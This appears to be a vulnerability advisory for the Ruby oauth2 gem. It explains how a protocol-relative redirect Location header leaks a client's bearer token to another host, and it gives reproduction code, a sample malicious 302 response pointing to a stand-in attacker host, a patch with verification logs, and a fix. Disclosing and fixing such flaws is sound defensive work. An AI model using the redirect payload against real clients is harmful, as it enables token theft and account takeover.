Details
Reproduction
The issue can be reproduced with a client using the default bearer-token header mode against an oauth2 version before 2.0.22.
Minimal setup:
require "oauth2"
client = OAuth2::Client.new(
"client-id",
"client-secret",
site: "http://idp.example.test"
)
token = OAuth2::AccessToken.new(client, "SECRET-BEARER-TOKEN")
token.get("/userinfo")
If the configured authorization/resource server responds to that request with a redirect such as:
HTTP/1.1 302 Found
Location: //attacker.example.test/leak
Content-Length: 0
then vulnerable versions resolve the protocol-relative Location as a cross-origin URL and recursively issue the follow-up request while preserving the original request headers. Because OAuth2::AccessToken uses Authorization: Bearer <token> by default, the next request is sent to the attacker-controlled host with the bearer token attached:
GET /leak HTTP/1.1
Host: attacker.example.test
Authorization: Bearer SECRET-BEARER-TOKEN
This requires no special Faraday adapter behavior. The vulnerable redirect handling is in OAuth2::Client#request; the attacker-controlled input is the raw Location header value from a 30x response.
Patched-build verification
Monkey-patch OAuth2::Client#request so that protocol-relative Location values are forced down the relative-path branch of URI#merge by prepending ./. Re-run the attack against the same poc_collector.rb instance.
module OAuth2
class Client
def request(verb, url, req_opts = {}, &block)
response = execute_request(verb, url, req_opts, &block)
status = response.status
case status
when 301, 302, 303, 307
req_opts[:redirect_count] ||= 0
req_opts[:redirect_count] += 1
return response if req_opts[:redirect_count] > options[:max_redirects]
verb = :get and req_opts.delete(:body) if status == 303
location = response.headers["location"]
if location
# PATCH: neutralise protocol-relative location before URI#merge.
safe_location = location.start_with?("//") ? "./#{location}" : location
full_location = response.response.env.url.merge(safe_location)
request(verb, full_location, req_opts)
else
raise(Error.new(response), "Got #{status} status code, but no Location header was present")
end
# ... unchanged fallthrough ...
end
end
end
end
After applying the patch, the same token.get("/userinfo") call resolves the attack Location: //127.0.0.1:4568/leak to http://127.0.0.1:4567/127.0.0.1:4568/leak — same host as the IdP — and :4568 never receives the bearer token. The IdP redirect loop trips max_redirects and the helper returns status: 302 to the caller with no off-host request. Collector log after the patched run shows :4568 LEAK count unchanged from the negative control:
[idp:4567] hit req_line=GET /userinfo HTTP/1.1 auth="Bearer SECRET-BEARER-XYZZY"
[idp:4567] hit req_line=GET ///127.0.0.1:4568/leak HTTP/1.1 auth="Bearer SECRET-BEARER-XYZZY"
[idp:4567] hit req_line=GET ///127.0.0.1:4568///127.0.0.1:4568/leak HTTP/1.1 auth="Bearer SECRET-BEARER-XYZZY"
All hops stay on 127.0.0.1:4567. The bearer token never leaves the IdP.
Suggested fix
Treat protocol-relative Location values as relative paths when resolving against the prior request URL. The smallest local fix is the ./ prefix used in Faraday::Connection#build_exclusive_url for the same primitive (see lines 485-488 of faraday/lib/faraday/connection.rb):
location = response.headers["location"]
if location
# Force protocol-relative inputs to be interpreted as relative paths so they
# cannot override the base authority via RFC 3986 §5.2 network-path reference.
safe_location = location.respond_to?(:start_with?) && location.start_with?("//") \
? "./#{location}" : location
full_location = response.response.env.url.merge(safe_location)
request(verb, full_location, req_opts)
A defence-in-depth follow-up is to also strip credential-bearing headers (Authorization, plus any custom headers configured via header_format) from req_opts[:headers] when the resolved host changes across the redirect, which mirrors how Mechanize handles cross-host redirects in lib/mechanize/http/agent.rb#L1068-L1077. That additional check protects against the orthogonal case where an attacker controls an absolute Location: http://attacker.example/... value on a same-host open-redirect endpoint.
Credit
Reported by tonghuaroot.